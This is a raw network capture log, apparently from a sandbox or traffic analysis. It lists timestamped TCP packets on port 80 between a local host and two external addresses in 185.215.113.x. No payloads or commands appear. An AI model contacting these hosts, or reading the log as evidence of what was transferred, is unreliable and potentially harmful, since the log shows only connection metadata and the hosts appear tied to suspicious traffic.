Nov 1, 2024 05:01:23.324907064 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.324918985 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.324954033 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.324970007 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.325381041 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.325392008 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.325402975 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.325414896 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.325427055 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.325437069 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.325438023 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.325452089 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.325457096 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.325463057 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.325480938 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.325501919 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.326324940 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326337099 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326348066 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326360941 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326373100 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326383114 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.326402903 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.326831102 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326843977 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326853991 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326865911 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326878071 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326883078 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.326886892 CET	80	49715	185.215.113.16	192.168.2.5
Nov 1, 2024 05:01:23.326916933 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:23.380414963 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:01:25.107597113 CET	49715	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:04.546403885 CET	59806	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:04.551398993 CET	80	59806	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:04.551487923 CET	59806	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:04.551714897 CET	59806	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:04.556569099 CET	80	59806	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:05.467511892 CET	80	59806	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:05.467592001 CET	59806	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:06.980433941 CET	59806	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:06.980757952 CET	59821	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:06.988358021 CET	80	59821	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:06.988373995 CET	80	59806	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:06.988462925 CET	59806	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:06.988473892 CET	59821	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:06.988727093 CET	59821	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:06.995795965 CET	80	59821	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:07.908540964 CET	80	59821	185.215.113.43	192.168.2.5
Nov 1, 2024 05:02:07.908680916 CET	59821	80	192.168.2.5	185.215.113.43
Nov 1, 2024 05:02:07.913599968 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:07.918471098 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:07.918566942 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:07.918726921 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:07.923489094 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.837326050 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.837342024 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.837392092 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.837421894 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.837461948 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.837477922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.837492943 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.837502956 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.837522030 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.837532043 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.838030100 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.838046074 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.838062048 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.838074923 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.838079929 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.838089943 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.838092089 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.838115931 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.838143110 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.842814922 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.842885017 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.842967987 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.842988968 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.843003988 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.843012094 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.843031883 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.843045950 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.995801926 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.995841980 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.995857000 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.995897055 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.995923042 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.995949030 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.995991945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.996087074 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.996103048 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.996121883 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.996134996 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.996340990 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.996357918 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.996378899 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.996407032 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.996702909 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.996751070 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.996792078 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.996805906 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.996834993 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.997015953 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.997057915 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.997215986 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.997302055 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:08.997349977 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:08.997389078 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.114731073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.114748955 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.114763975 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.114819050 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.114837885 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.114938021 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.114953995 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.114968061 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.114989996 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.115006924 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.115176916 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.115204096 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.115216017 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.115590096 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.115614891 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.115760088 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.115771055 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.115801096 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.115842104 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.115858078 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.115884066 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.115895987 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.116168022 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.116206884 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.116230011 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.116249084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.233695984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.233764887 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.233798981 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.233802080 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.233830929 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.233840942 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.233931065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.233987093 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.234085083 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.234118938 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.234148979 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.234159946 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.234338999 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.234374046 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.234391928 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.234425068 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.234648943 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.234699011 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.234731913 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.234765053 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.234775066 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.234853983 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.234993935 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.235028982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.235048056 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.235071898 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.235374928 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.235418081 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.235424995 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.235467911 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.352658987 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.352711916 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.352714062 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.352760077 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.352849960 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.352890968 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.352900028 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.352945089 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.352952003 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.352992058 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.353156090 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.353188992 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.353202105 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.353230953 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.353240967 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.353336096 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.353461981 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.353506088 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.353687048 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.353725910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.353784084 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.353817940 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.353827000 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.353857040 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.354048014 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.354082108 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.354091883 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.354121923 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.399070024 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.399094105 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.399122000 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.399138927 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.399143934 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.399189949 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.399254084 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.399298906 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.472182989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472213984 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472249985 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472315073 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472351074 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472385883 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472424030 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472430944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.472430944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.472430944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.472430944 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.472453117 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.472471952 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.472763062 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472814083 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.472938061 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.472989082 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.473045111 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.473078966 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.473094940 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.473119974 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.473252058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.473303080 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.518080950 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.518136978 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.518162966 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.518167973 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.518182993 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.518210888 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.518268108 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.518301964 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.518311977 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.518345118 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591037989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591054916 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591069937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591182947 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591202021 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591216087 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591288090 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591288090 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591288090 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591288090 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591555119 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591608047 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591624022 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591672897 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591753006 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591797113 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591845036 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591860056 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.591881990 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.591911077 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.592076063 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.592122078 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.592309952 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.592376947 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.592382908 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.592411995 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.637067080 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.637135029 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.637142897 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.637168884 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.637182951 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.637228012 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.637299061 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.637350082 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.637443066 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.637475967 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.637500048 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.637509108 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.710160971 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.710278034 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.710314035 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.710326910 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.710344076 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.710364103 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.710428953 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.710474968 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.710493088 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.710529089 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.710542917 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.710571051 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.710851908 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.710908890 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.710968018 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.710998058 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.711015940 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.711040020 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.711126089 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.711159945 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.711174965 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.711194992 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.711210012 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.711232901 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.756131887 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.756211042 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.756241083 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.756253004 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.756277084 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.756300926 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.756303072 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.756346941 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.756356001 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.756402016 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.756481886 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.756515026 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.756542921 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.756542921 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.829258919 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829310894 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829344988 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829412937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829431057 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.829457045 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.829468966 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.829521894 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829555988 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829576969 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.829610109 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.829761982 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829818010 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.829865932 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829900026 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.829917908 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.829946041 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.830054045 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.830086946 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.830113888 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.830137014 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.830473900 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.830534935 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.830574989 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.830606937 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.830631971 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.830647945 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.875153065 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.875188112 CET	80	59827	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:09.875238895 CET	59827	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:09.875257969 CET	59827	80	192.168.2.5	185.215.113.16
